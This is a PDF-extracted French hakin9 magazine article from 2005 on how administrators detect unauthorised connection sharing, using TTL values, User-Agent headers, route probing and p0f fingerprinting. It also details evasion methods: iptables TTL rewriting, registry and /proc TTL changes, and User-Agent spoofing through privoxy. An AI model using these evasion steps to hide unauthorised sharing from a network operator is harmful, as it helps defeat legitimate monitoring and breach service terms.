Page 15: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org 13hakin9 No 3/2005

Partage de connexion illégal

qui détermine le nombre maximum de routeurs IP que ce paquet est autorisé à traverser avant d'être rejeté (cf. la Figure 1). Lors du traitement de l'en-tête du datagramme, chaque routeur est obligé de réduire le champ TTL d'une valeur proportionnelle au temps pendant lequel le paquet est gardé. Étant donné que les routeurs retiennent les datagrammes pendant moins d'une seconde, dans la prati-que, vous pouvez vous attendre à ce que chaque routeur sur Internet dé-crémente le champ TTL d’une unité. Quand cette valeur atteint le zéro, le datagramme est rejeté et supprimé du réseau, et l'expéditeur reçoit un message d'erreur ICMP.

Cette démarche a pour but d'em-pêcher qu'un paquet erre jusqu'à l'infi ni dans une boucle de routage (c'est-à-dire, un routeur envoie le da-tagramme à un autre, et ce dernier le lui renvoie). Si un paquet IP ne peut être fourni à sa destination, au mo-ment où le champ TTL atteint la valeur zéro, il sera tout simplement supprimé du réseau. Les valeurs initiales du TTL diffèrent en fonction du système – le Tableau 1 présente les valeurs initiales du champ TTL pour les systè-mes d'exploitation les plus courants.

La Figure 2 présente le schéma d'un réseau LAN typique avec la connexion partagée d'une façon illé-gale. Si l'ordinateur qui donne accès

à la connexion fonctionne en tant que routeur et transmet les paquets entre ses interfaces (et dans le cas d'un accès non autorisé au réseau publi-que, sur celui-ci le service NAT est lancé), dans chaque paquet généré par l'ordinateur A, B ou C, la valeur du champ TTL sera diminuée d'une unité. En conséquence, le réseau LAN (10.10.11.0) contient les paquets dont le champ TTL aura la valeur inférieure à une unité par rapport à la valeur standard pour un système.

Pour détecter ces paquets, l'ad-ministrateur peut lancer sur la passe-relle Internet un analyseur de paquets (sniffeur) et vérifi er si dans le réseau, il n'existe pas des paquets ayant les valeurs du champ TTL bizarres pro-venant d'une seule adresse IP (dans notre cas 10.10.11.95). En admettant que sur l'ordinateur A le système Win-dows 2000 est lancé (TTL initial 128), par contre sur l'ordinateur B le sys-tème Linux (TTL initial 64), le sniffeur

Partage de lignePlusieurs personnes, en particulier celles qui ne connaissent pas bien Linux, choisiront la méthode très simple basée sur le système Windows pour partager la connexion – la fonction Partage de connexion Internet (Internet Connection Sharing – ICS). Grâce à cette méthode, les ordinateurs dans des réseaux à domicile ou dans des bureaux sont capables de se connecter à Internet via une seule connexion réseau.

ICS est une fonction intégrée du système Windows, mais elle ne peut être lancée que sur les ordinateurs tournant sous Windows XP, Windows 98 SE, Windows Millen-nium Edition (Me) ou Windows 2000. À vrai dire, la fonction ICS est un ensemble d'élé-ments qui, contrairement au système Linux, ne sont pas disponibles pour l'utilisateur et la possibilité de les confi gurer est assez limitée. Les composants les plus importants sont, à savoir :

• le programme affectant les adresses DHCP – un service très simplifi é qui affecte l'adresse IP, la passerelle par défaut et le serveur de noms dans le réseau local,

• le serveur proxy DNS dont la tâche consiste à transcrire les noms de domaine en adresses IP pour les clients du réseau local,

• le translateur d'adresses réseau qui transcrit les adresses privées en adresse publique (adresses publiques).

Le système Linux exploite le mécanisme de translation d'adresse réseau NAT (en an-glais Network Address Translation) ou utilise les serveurs proxy. Le NAT et le proxy sont des technologies implémentées dans les systèmes de pare-feu, et leur but principal est de dissimuler et de protéger le réseau local contre les réseaux externes.

Figure 1. Le TTL (Time To Live) dans l'en-tête IP

Tableau 1. Les valeurs TTL caractéristiques pour les systèmes d'exploitation spécifi ques

Version du sys-tème d'exploita-tion

TCPTTL

UDPTTL

AIX 60 30FreeBSD 2.1R 64 65HP/UX 9.0x 30 30HP/UX 10.01 64 64Irix 5.3 60 60Irix 6.x 60 60Linux 64 64MacOs/MacTCP 2.0.x

60 60

OS/2 TCP/IP 3.0 64 64OSF/1 V3.2A 60 30Solaris 2.x 255 255SunOS 4.1.3/4.1.4 60 60MS Windows 95 32 32MS Windows 98 128 128MS Windows NT 3.51

32 32

MS Windows NT 4.0

128 128

MS Windows 2000 128 128MS Windows XP 128 128

Page 16: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org14 hakin9 No 3/2005

Base

s

tcpdump écoutant sur la passerelle Internet est capable d'intercepter et de démasquer ces paquets.

Cette situation est présentée sur la Figure 3 – on peut remarquer que les valeurs du champ TTL dans les paquets à l'adresse IP 10.10.11.95 qui apparaissent sont non standards (127 et 63). La deuxième chose bizarre est le fait qu'un ordinateur génère les paquets dont les valeurs des champs TTL sont différentes. Cela prouve que l'ordinateur portant l'adresse 10.10.11.95 partage la con-nexion entre les utilisateurs exploi-tant les systèmes Windows et Linux.

Valeurs du TTL par défaut dans Windows et LinuxLa méthode basée sur la vérifi cation de la valeur du TTL dans les pa-quets IP peut s'avérer peu effi cace. C'est parce que dans les systèmes Windows et Linux, il est possible de modifi er la valeur standard de la durée de vie des paquets. Si les utilisateurs de la connexion partagée augmentent la valeur du TTL d'une unité dans leurs systèmes, après le passage par l'ordinateur-passerelle, les paquets IP ne seront plus sus-pects.

L'unique chose qui peut encore révéler le partage de la connexion est la valeur du TTL différente

dans les paquets ayant la même adresse IP. Mais cette situation n'a pas toujours lieu – dans un réseau LAN illégal, les utilisateurs peuvent utiliser une seule version du système d'exploitation, par exemple Windows 2000 ou Linux. Bien que le réseau soit différencié et plusieurs systè-mes d'exploitation soient lancés, les personnes malintentionnées peuvent uniformiser les valeurs TTL sur tous les ordinateurs indépendamment du type de système (cf. l'Encadré Modi-fi cation des valeurs TTL par défaut).

Au cas où l'accès à la connexion se fait à travers un système Windows avec la fonction ICS activée, l'unifor-

misation de la valeur TTL sur tous les ordinateurs est la seule méthode de se dissimuler devant l'administrateur. Si c'est Linux avec NAT confi guré qui joue le rôle de la passerelle Internet, la situation est beaucoup plus facile. Il suffi t – à l'aide du correctif pour le fi ltre des paquets iptables portant le nom patch-o-matic – de confi gurer le système de façon à ce que chaque paquet sortant ait une valeur TTL unique et déterminée. Dans ce cas, la personne qui effectue le partage de la connexion, ne s'intéresse pas aux systèmes d'exploitation utili-sés dans le réseau illégal car tous les paquets après le passage via

Figure 2. Un exemple d'un réseau LAN avec un partage de connexion illégal

Figure 3. Les valeurs du TTL après le passage par un routeur illégal

Page 17: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org 15hakin9 No 3/2005

Partage de connexion illégal

NAT auront la même valeur dans le champ TTL de l'en-tête IP.

Valeur TTL identique pour les paquets sortantsSi l'ordinateur-passerelle tourne sous Linux avec le service NAT confi guré, pour fi xer le même TTL des paquets illégaux, vous pouvez exploiter le correctif pour iptables conçu par Ha-rald Welte qui ajoute une nouvelle ci-ble dans les règles de fi ltrage. Cette cible permet à l'utilisateur de fi xer la valeur TTL pour le paquet IP et de l'incrémenter ou décrémenter d'une unité donnée. Le correctif est dispo-nible à l'adresse http://netfi lter.org.

Pour appliquer le correctif, vous aurez besoin des sources du noyau et d'iptables. Une fois le correctif appliqué avec succès, il faut instal-ler le nouveau noyau et le nouveau iptables. Pendant la confi guration du noyau, il est possible de paramétrer de nouvelles options disponibles dans la section Networking Options -> Netfi lter Confi guration. Pour la cible TTL, les options suivantes sont disponibles :

• --ttl-set valeur – fi xe la valeur du TTL à la valeur,

• --ttl-dec valeur – décrémente la valeur du TTL d'une valeur,

• --ttl-inc valeur – incrémente la valeur du TTL d'une valeur.

Pour fi xer le TTL dans tous les paquets transférés par l'ordinateur-passerelle à 128, il suffi t d'ajouter à la table mangle d'iptables la règle de fi ltrage suivante :

# iptables -t mangle \

-A FORWARD -j TTL \

--ttl-set 128

À la suite de l'exécution de cette commande, le contenu de la table doit être identique à celui présenté dans le Listing 1.

Une autre façon consiste à fi xer la valeur appropriée du TTL avant l'exé-cution du processus de routage sur l'ordinateur-passerelle, par exemple :

# iptables -t mangle \

-A PREROUTING -i eth0 \

-j TTL --ttl-set 129

Plus de zéroL'administrateur peut utiliser la valeur TTL pour rendre plus diffi cile le parta-ge de connexion illégal aux personnes malintentionnées. Si la machine con-nectée directement à Internet tourne sous Linux, l'administrateur peut fi xer, dans les paquets adressés au réseau local, la valeur TTL à 1. Alors, chaque routeur illégal dans le réseau LAN, après la réception d'un tel paquet et la réduction de la valeur TTL d'une unité, sera obligé de supprimer ce paquet du réseau, ce qui signifi e que l'informa-tion ne sera pas transmise plus loin et le réseau illégal terminera son fonc-tionnement (par contre, si le paquet atteint une station fi nale légale, il sera reçu sans problème avec le TTL ayant la valeur 1). Il faut remarquer que cette solution est effi cace si l'ordinateur donnant accès illégal à la connexion, fonctionne comme routeur et utilise la translation d'adresse réseau (NAT).

La méthode ci-dessus permet-tant de décrémenter la valeur du TTL peut être facilement contournée : avant le routage, l'administrateur du réseau illégal peut incrémenter la va-leur TTL de chaque paquet arrivant au routeur. Dans Linux, il suffi t de se

Modifi cation des valeurs TTL par défautLinuxLa modifi cation de la valeur TTL pour une machine locale sous Linux se limite à exé-cuter sur la console la commande suivante :

# echo "X" > /proc/sys/net/ipv4/ip_default_ttl

X étant la nouvelle valeur du TTL. Par défaut, le TTL a la valeur 64 – si Linux veut être pris pour Windows, il suffi t d'entrer comme X la valeur 128 (et mieux encore, 129, si vous utilisez la connexion partagée et que vous ne voulez pas éveiller les soupçons de l'administrateur du réseau).

Windows 2000/XPPar défaut, dans les paquets envoyés par le système Windows 2000/XP, la valeur TTL est fi xée à 128. La façon la plus rapide de vérifi er la valeur standard du TTL dans le système est de se servir de la commande ping. Il suffi t d'envoyer les paquets ICMP echo request à l'interface de la boucle de retour (en anglais loopback) et observer quelle valeur TTL est confi gurée dans les réponses ICMP echo reply :

ping 127.0.0.1

Le TTL est modifi é dans le registre du système. Cette valeur est stockée dans la ligne DefaultTTL dans la clé HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters. S'il n'y en a pas – il faut la créer, par exemple à l'aide du type DWORD.

Windows 95/98/MeQuant aux systèmes Windows 95/98/Me, la valeur TTL est stockée dans la clé HKEY _

LOCAL _ MACHINE\System\CurrentControlSet\Services\VxD\MSTCP\DefaultTTL. Si la valeur DefaultTTL n'est pas présente dans la clé ci-dessus, il faut la créer au moyen du type STRING.

Listing 1. Le contenu de la table mangle après la défi nition de la règle de fi ltrage

# iptables -t mangle --list

Chain FORWARD (policy ACCEPT)

target prot opt source destination

TTL all -- anywhere anywhere TTL set to 128

Page 18: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org16 hakin9 No 3/2005

Base

s

servir de l'objectif iptables (portant le nom TTL) et saisir dans le tableau iptables la règle suivante :

# iptables -t mangle \

-A PREROUTING -i wlan0 \

-j TTL --ttl-set 2

Grâce à cela, dans chaque paquet IP (dont la valeur TTL peut être fi xée même à 1) arrivant à l'interface wlan0 (cf. la Figure 2), la valeur du champ TTL sera fi xée à 2. Le paquet modifi é sera soumis au processus de routa-ge, sa valeur TTL sera décrémentée d'une unité et le paquet arrivera sans problème à l'utilisateur fi nal dans le réseau LAN illégal. Bien sûr, si celui-ci a décidé de partager en-core la connexion, le TTL dans les paquets sortant du routeur devra être fi xé à une valeur plus élevée.

Proxy pour la première foisLes méthodes basées sur les manipu-lations des valeurs TTL sont utiles si nous avons à faire à des dispositifs de la troisième couche du modèle ISO/OSI. Mais il suffi t que l'administrateur du réseau illégal se décide à partager les périphériques de la quatrième couche ou supérieure (la passerelle, c'est-à-dire dans notre cas, différents intermédiaires réseau, proxy) consti-tuant le paquet IP entier, et ces mé-thodes ne seront plus effi caces.

Dans le cas extrême, nous pou-vons imaginer que dans le réseau illé-gal, seul le protocole IPX fonctionne, par contre à la sortie – une passerelle IPX/IP qui établit les connexions au nom des clients, et transmet les ré-ponses arrivant vers le réseau interne via les paquets IPX. C'est aux stations terminales qu'elles sont extraites par le socket approprié qui les transmet aux applications réseau sous forme compréhensibles par les protocoles de la pile TCP/IP. Du point de vue de la transmission IP, le datagramme IP arrive à la fi n à la passerelle, c'est-à-dire, à l'ordinateur connecté directe-ment au réseau externe.

Jeu du téléphoneUne autre manière de détecter la connexion illégale consiste à vérifi er

si la retransmission des paquets (IP forwarding) est activée sur l'ordina-teur suspect. Si c'est le cas, nous pouvons supposer que nous avons à faire à un utilisateur malhonnête. Mais ce n'est pas une preuve. Cha-que utilisateur dans le réseau local peut posséder dans son ordinateur deux cartes réseaux confi gurées qui transmettent les paquets entre elles. Néanmoins, cela donne lieu à exami-ner cet utilisateur de plus près.

Envisageons la situation pré-sentée sur la Figure 2 : l'adminis-trateur dispose d'un ordinateur tournant sous Linux. L'unique chose à faire est d'ajouter à notre propre table de routage une ligne fausse déterminant qu'un paquet IP envoyé à un certain réseau doit être transféré à l'adresse IP indiquée que nous trouvons suspecte :

# route add -net 20.20.20.0/24 \

gw 10.10.11.95 eth0

À ce moment, le paquet envoyé par exemple à l'adresse 20.20.20.20 sera fourni à l'ordinateur ayant l'adresse 10.10.11.95 (cf. la Figure 2). Si sur cet ordinateur la redirection des paquets est activée, celui-ci recevra le paquet préparé et le transmettra au proces-sus de sélection de trace. Vu qu'il est peu probable que la table de routage contienne la ligne se référant au ré-seau 20.20.20.0/24, le système dé-cide de le transmettre à sa passerelle par défaut. Mais justement, la passe-relle par défaut pour cet ordinateur est le routeur connecté directement à In-ternet (dans notre cas, c'est le routeur à l'adresse 10.10.11.1). Deux paquets ICMP echo request apparaissent dans le réseau : l'un envoyé à partir de l'ordinateur de l'administrateur à l'ordinateur suspect, et le second envoyé par le routeur illégal.

Toute cette expérimentation se réduit à lancer sur l'ordinateur de l'administrateur (ou mieux encore,

Serveurs proxyLes serveurs proxy, appelés aussi serveurs mandataires, jouent le rôle d'intermédiaires entre Internet et les systèmes des réseaux LAN. Son utilisation apporte des avantages importants – ils permettent d'économiser de l'espace adressable, d'effectuer le fi ltrage intelligent et l'authentifi cation au niveau de l'utilisateur, enfi n, augmentent la sécurité (le serveur proxy devient l'unique machine qui a le contact direct avec Internet).

Les utilisateurs qui se connectent à Internet par l'intermédiaire du proxy ont l'im-pression de se connecter au réseau extérieur alors qu'ils se connectent à une seule machine. Après l'envoi d'une requête par le client, le serveur proxy vérifi e si la con-nexion est possible à établir. Si oui – il se connecte au nom du client avec un serveur distant, et ensuite, il sert d'intermédiaire dans la communication.

D'une manière générale, on peut distinguer deux types de ces serveurs : les serveurs fonctionnant au niveau de l'application et ceux qui servent de pare-feu. Les proxys applicatifs sont ceux dont la tâche consiste à servir d'intermédiaire dans la communication entre une (ou plusieurs) applications et un réseau extérieur. Par con-tre, les serveurs pare-feu ne s'occupent pas du type concret des tâches – ils reçoivent et transmettent les données sans différencier les protocoles réseau spécifi ques.

Une autre division des serveurs proxy est aussi possible : universels (employant plusieurs protocoles) et spécialisés (ne s'occupant que d'un type du trafi c réseau). En pratique, les serveurs spécialisés sont ceux applicatifs (par exemple, servant d'inter-médiaire dans le trafi c HTTP), et les serveurs universels – ceux de type pare-feu.

Il existe encore un type spécial de proxy permettant de mettre en tampon le trafi c réseau (cache) – cela permet d'augmenter la performance du réseau dans le cas d'une bande passante de faible débit. De plus, il permet l'enregistrement des événements (logging) et assure un suivi des connexions (tracking). Ces types de proxy sont appe-lés intelligents.

Les serveurs pare-feu les plus fréquents pour Windows sont : WinProxy (http://www.winproxy.com/), WinGate (http://www.wingate.com/) et WinRoute (http://www.kerio.com). Les utilisateurs de Linux peuvent employer, entre autres, Proxy (http://proxy.sourceforge.net/), Zaval Proxy Suite (http://www.zaval.org/products/proxy/) ou SuSE Proxy Suite (http://proxy-suite.suse.de).

Page 19: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org 17hakin9 No 3/2005

Partage de connexion illégal

sur la passerelle à Internet), sur une console, le sniffeur tcpdump :

# tcpdump -n -i eth0

et sur la deuxième console, à exécu-ter la commande ping :

# ping 20.20.20.20

Si l'ordinateur portant une adresse IP donnée fonctionne comme routeur, deux paquets IMCP echo request devraient apparaître :

00:59:47:270862 10.10.11.2 § > 20.20.20.20: icmp: echo request

00:59:47:271276 10.10.11.2 § > 20.20.20.20: icmp: echo request

On peut aussi tenter de vérifi er quel sous-réseau est utilisé dans le réseau LAN illégal. Mais pour ce faire, il est nécessaire d'écrire un script spécial parce que la véri-fi cation manuelle est plutôt vouée à l'échec. Pour cela, il faut utiliser le mécanisme décrit ci-dessus, mais il faut choisir l'adresse du sous-réseau plus véridique, par exemple :

# route add –net 192.168.1.0/24 \

gw 10.10.11.95 eth0

Si nous ne trouvons pas le sous-ré-seau approprié, l'effet sera le même qu'auparavant. Si nous avons réussi

à trouver le sous-réseau, le paquet sera transféré à l'adresse défi nie. Si l'ordinateur portant l'adresse déterminée est disponible dans le sous-réseau, il nous répondra par le paquet ICMP echo reply. Dans le cas contraire, nous recevrons le message d'erreur informant que l'hôte donné est inaccessible (icmp host unrea-

chable). Le mécanisme fonctionnera jusqu'à ce que l'administrateur du réseau illégal ne démarre sur le rou-teur illégal le fi ltre de paquets de type

statefull (dynamic) et du fi ltrage des connexions établies avec ce réseau de l'extérieur.

Identifi cation des navigateurs WebChaque navigateur Web lancé dans le système envoie l'en-tête HTTP dans la requête demandant le chargement d'une page adressée au serveur Web. Cet en-tête contient le champ User-Agent informant sur le type de navigateur et la version du système sur lequel celui-ci est lancé (Figure 4). Nous pouvons exploiter ce fait pour détecter le partage de connexion illé-gal, d'autant plus quand les utilisateurs illégaux ont différents types et version des navigateurs tournant sous diffé-rents systèmes d'exploitation.

Le test détectant la connexion illégale consiste à analyser les pa-quets interceptés dans le réseau. Il faut chercher les paquets qui ont été envoyés à partir d'une seule adresse source (passerelle illé-gale). Si ces paquets contiennent le champ User-Agent informant que les versions des navigateurs et des sys-tèmes d'exploitation sont différentes, la situation est suspecte.

La situation plus suspecte a lieu quand le champ User-Agent affi che

Figure 4. Le champ User-Agent dans l'en-tête HTTP

Figure 5. Des paquets HTTP suspects

Page 20: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org18 hakin9 No 3/2005

Base

s

différentes versions des systèmes d'exploitation. Utiliser simultanément deux systèmes d'exploitation se ser-vant d'une seule adresse IP est plutôt impossible (si l'on exclue l'utilisation des programmes permettant de lancer les machines virtuelles, comme VMva-re ou Microsoft Virtual PC), par contre plusieurs navigateurs dans un sys-tème – tout à fait possible. La Figure 5

présente les paquets qui doivent attirer l'attention de l'administrateur.

Sur la Figure 5, nous pouvons remarquer deux requêtes de charge-ment de la page http://www.onet.pl/, envoyées à partir d'une seule adresse 10.10.11.95. Grâce à ces requêtes nous voyons que deux navigateurs (MSIE 6.0 et Mozilla Firebird) ont été démarrés sur deux systèmes d'exploi-

tation (Windows 2000 identifi é comme Windows NT 5.0 et Linux). Il faut main-tenant se poser la question que faire si l'utilisateur a installé plusieurs sys-tèmes sur un ordinateur et travaille soit dans un, soit dans l'autre système.

Proxy pour la deuxième foisLa méthode présentée paraît assez bonne, mais elle peut être également contournée, si le champ User-Agent est supprimé ou modifi é de façon à ce qu'il indique un autre type de na-vigateur ou de système d'exploitation. Il est possible de le faire pour chaque navigateur dans le réseau LAN illégal. Pour cela, on peut fi xer la même iden-tifi cation dans tous les navigateurs ou mettre en place le serveur proxy Web sur la passerelle illégale et contrain-dre les utilisateurs à l'employer. Si le serveur proxy est confi guré de façon appropriée, indépendamment des na-vigateurs utilisés par les utilisateurs, la requête générée par le serveur proxy contiendra toujours la même informa-tion dans le champ User-Agent.

Modifi cation de la valeur du champ User-AgentEn cas des navigateurs Mozilla (pour Windows), l'extension User Agent Switcher ajoutant au programme le menu qui permet de modifi er l'identi-fi cation du navigateur, est disponible. Cette extension implémente la fonc-tionnalité similaire qu'Identifi cation du navigateur disponible dans Opera. Elle permet de confi gurer la liste des agents affi chés dans le menu et de les choisir selon les besoins (Figure 6).

En cas des navigateurs Internet Explorer, il faut modifi er la branche du registre système HKEY _ LOCAL _

MACHINE\SOFTWARE\Microsoft\Windows\

CurrentVersion\Internet Settings\

5.0. Il faut y créer la clé User Agent (si celle-ci n'y est pas). La saisie de la va-leur par défaut remplacera la chaîne de caractères Mozilla/4.0. Les autres paramètres sont modifi ables après l'ajout à la clé User Agent de nouvelles valeurs de la chaîne portant les noms Compatible, Version ou Platform avec les valeurs propres. De plus, vous pouvez ajouter de nouvelles valeurs dans la clé Post Platform, comme

Figure 6. La modifi cation et l'identifi cation du navigateur Mozilla

Figure 7. La modifi cation de l'identifi cation du navigateur Internet Explorer

Figure 8. L'identifi cation d'IE après les modifi cations effectuées

Figure 9. La détermination de l'adresse IP et du port sur lesquels le serveur proxy sera disponible

Page 21: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org 19hakin9 No 3/2005

Partage de connexion illégal

informations supplémentaires pour le champ User-Agent. Il faut les ajou-ter comme noms des chaînes sans valeur, p. ex. information supplémen-taire = "". Les exemples des modifi ca-tions dans le registre sont présentés sur la Figure 7.

En accédant à la page http://hitgate.gemius.pl:9170/ua.html, nous pouvons vérifi er comment notre na-vigateur se présente. Il est aussi pos-sible d'utiliser cet URL pour vérifi er le champ User-Agent après les modifi ca-tions dans le registre. Par exemple, si quatre premières valeurs du User-Agent sont modifi ées, le navigateur sera reconnu comme Netscape 6.0 lancé sous Linux (Figure 8).

Utiliser le serveur proxy pour uniformiser le champ User-AgentLa façon plus simple de dissimuler les informations sur les navigateurs est de se servir du serveur proxy Web pour le système Linux, comme par exemple privoxy. Il faut l'installer sur la passerelle illégale et instruire les utilisateurs de confi gurer leurs navigateurs de manière à ce qu'ils emploient le serveur proxy. Le pro-gramme peut être téléchargé à partir du site http://www.privoxy.org/.

Une fois le programme installé, il faut effectuer deux modifi cations dans les fi chiers confi g et default.action. Dans le premier fi chier, il faut déter-miner sur quelle interface le serveur doit écouter les connexions des uti-lisateurs. Nous devons aussi défi nir l'adresse IP et le port affecté à l'inter-face extérieure, c'est-à-dire celle du côté du réseau LAN illégal (Figure 9).

Par contre, dans le fi chier default.action, il faut défi nir le contenu

du champ User-Agent pour toutes les connexions Web sortantes. Pour cela, il faut changer la ligne :

-hide-user-agent \

par exemple, contre celle-ci :

+hide-user-agent{Mozilla/4.0 § (compatible; MSIE 6.0; § Windows NT 5.0; §\ .NET CLR 1.1.4322)} \

Détection passive d'un système d'exploitationEncore une autre méthode permet-tant de détecter les réseaux illégaux est la détection de différentes ver-sions des systèmes d'exploitation utilisant en même temps une seule adresse IP. L'identifi cation passive est une méthode dans laquelle aucun paquet de test n'est envoyé à la machine cible (cf. l'article de Michał Wojciechowski OS fi nger-printing – comment ne pas se faire reconnaître, hakin9 4/2004).

La base du fonctionnement de cette méthode est l'analyse de la pile TCP/IP de l'ordinateur à partir des paquets générés par l'ordinateur en question, après leur interception à l'aide du sniffi ng. La notion d'analy-se de la pile signifi e la détermination du type et de la version du système d'exploitation à partir des différences dans les implémentations des piles TCP/IP utilisés par différents éditeurs des systèmes d'exploitation. Bien que les principes de construction des piles TCP/IP soient exactement défi nis dans les documents RFC, les implémentations des systèmes d'ex-ploitation spécifi ques diffèrent entre elles. Cela concerne avant tout les

valeurs caractéristiques des champs fi xés dans les en-têtes des proto-coles IP et TCP. Les programmes qui effectuent l'analyse passive des piles TCP/IP, examinent les champs suivants dans l'en-tête IP :

• la durée de vie du paquet (TTL),• le champ ID (identifi cation),• les paramètres des bits TOS (en

anglais Type Of Service),• les paramètres du bit ne pas

fragmenter (en anglais don’t frag-ment).

Par contre, dans l'en-tête TCP, les champs suivants sont vérifi és :

• la taille de la fenêtre (en anglais Window Size),

• la taille maximale du segment (en anglais Maximum Segment Size),

• l'option d'accusé sélectif (en anglais Selective Acknowledge-ment),

• l'option NOP (en anglais No Ope-ration).

L'un des outils destinés au fi nger-printing passif est le programme p0f. Il peut être téléchargé à partir du site http://lcamtuf.coredump.cx/p0f.shtml. Dans le système Windows, pour fonctionner correctement, le programme exige la bibliothèque Winpcap installée.

Le programme est capable d'identifi er le système d'exploitation fonctionnant sur les hôtes à partir des paquets IP avec les drapeaux TCP suivants :

• SYN,• SYN et ACK,• RST.

À l'aide de l'option --f , le fi chier stoc-kant les signatures pour les systèmes d'exploitation spécifi ques est préparé. Ensuite, le programme p0f les compa-re avec les données reconnues dans le paquet intercepté. Chaque méthode possède un fi chier séparé :

• p0f.fp,• p0fa.fp,• p0fr.fp.Figure 10. Les résultats de la détection passive

Page 22: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org20 hakin9 No 3/2005

Base

s

Par exemple, la signature pour le système Windows 2000 avec le service pack 4 ou XP avec le service pack 1 se présente ainsi : 65535:128:1:48:M*,N,N,S:.:Windows:2000 SP4, XP

SP1. Les champs dans l'inscription ci-dessus signifi ent respectivement :

• 65535 – la taille de la fenêtre TCP,• 128 – la durée de vie du paquet

(TTL),• 1 – le bit ne pas fragmenter posi-

tionné,• 48 – la taille du paquet,• M – la taille maximale du segment

(MSS),• N – l'option non opérationnel

(NOP),• N – l'option non opérationnel

(NOP),• S – l'accusé sélectif ACK activé.

L'option -p sert à mettre l'interface réseau en mode de réception de tous les paquets (en anglais pro-miscuous), pas seulement ceux destinés à l'ordinateur sur lequel fonctionne p0f. À l'aide de l'option -i nous pouvons déterminer l'interface sur laquelle le programme doit écou-ter. Sur la Figure 10, nous voyons que le programme p0f a identifi é dans le même temps deux systèmes utilisant la même adresse IP source. Cela peut prouver que dans notre réseau quelqu'un donne accès à la connexion aux autres utilisateurs. Dans la version la plus récente de p0f, l'auteur a introduit l'option sup-plémentaire -M qui estime (à partir des anomalies dans les paquets), en pour-cent, si une masquerade est possible à l'adresse IP donnée.

Évidemment (le proxy pour la troi-sième fois...), tout cela a un sens, uni-quement si l'administrateur du réseau illégal n'installe pas un proxy de type pare-feu. Dans ce cas, la prise d'em-preinte ne concerne que le système d'exploitation de l'intermédiaire.

Travail de SisypheIl existe plusieurs méthodes de détecter le partage de connexion illégale et de rendre la vie des admi-nistrateurs de tels réseaux plus dif-fi cile (cf. l'Encadré Autres méthodes

de détection des réseaux illégaux). Mais toutes ont un trait commun : avec un peu de bonne volonté et d'invention, elles peuvent être contournées et neutralisées. Il serait

donc mieux que les FAI s'occupent de la bande passante et des limites du transfert, et qu'ils laissent le jeu à Big Brother aux programmes TV peu ambitieux. n

Autres méthodes de détection des réseaux illégauxMessagerie instantanéeEn analysant les paquets sortant de la messagerie instantanée, nous pouvons y trou-ver l'identifi cateur (le plus souvent le numéro) de l'utilisateur (cf. l'article de Konstantin Klyagin Paranoïa instantanée du hakin9 3/2004). Étant donné qu'il est quasi impos-sible qu'un utilisateur lance simultanément sur le même ordinateur plusieurs comptes d'une messagerie instantanée, si nous interceptons les paquets contenant différents identifi cateurs d'utilisateur provenant d'une seule IP, nous pouvons supposer d'avoir à faire à un réseau illégal.

Traçage du courrierVu que la plupart des utilisateurs ne profi tent pas des connexions chiffrées avec les serveurs de messagerie, à la suite de l'analyse des emails à l'aide d'un sniffeur, nous sommes capables de déduire à partir des certaines en-têtes que nous avons à faire à un utilisateur illégal. Il n'arrive pas souvent qu'un utilisateur se serve de deux pro-grammes de messagerie en même temps, et la plupart des clients de messagerie s'identifi ent dans les en-têtes User-Agent ou X-Mailer.

Vérifi cation d'uptimeLes paquets TCP peuvent contenir une information additionnelle (optionnelle) – timestamp, c'est-à-dire le marquer de temps. La valeur de l'incrément de ce mar-queur dépend du système d'exploitation. Ce marqueur (au cas où nous connaissons le système d'exploitation), après la multiplication par la fréquence de la mise à jour du compteur, indique l'uptime de la machine, c'est-à-dire le temps de son dernier démarrage.

Si, par exemple, au moyen de tcpdump, nous détectons sur l'une IP des paquets ayant les valeurs de timestamp extrêmement différentes, nous pouvons être sûrs que nous avons à faire à de machines différentes, c'est-à-dire à des utilisateurs illégaux :

# tcpdump -n | grep timestamp

Voici le fragment des résultats :

<nop,nop,timestamp 3320208223 97006325>

Deux valeurs après le mot timestamp sont respectivement le timestamp de l'hôte source et la dernière valeur du timestamp reçue à partir de l'hôte cible. Cette méthode est assez limitée parce que nous admettons que les ordinateurs du réseau illégal envoient les paquets avec l'option timestamp, ce qui n'est pas toujours le cas.

Sur le réseau• http://support.microsoft.com/default.aspx?scid=kb;en-us;158474 – les informations

sur l'emplacement des paramètres réseaux les plus importants dans le registre de Windows,

• http://www.netfi lter.org/patch-o-matic/index.html – la description des corrections d'iptables,

• http://winpcap.polito.it/install/default.htm – la bibliothèque Winpcap,• http://lcamtuf.coredump.cx/p0f.shtml – le site du programme p0f,• http://netfi lter.org – le projet Netfi lter,• http://www.0xdecafbad.com/TCP-Timestamping-Obtaining-System-Uptime-

Remotely.html – les informations sur la réception distante d'uptime du système.

Page 23: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi
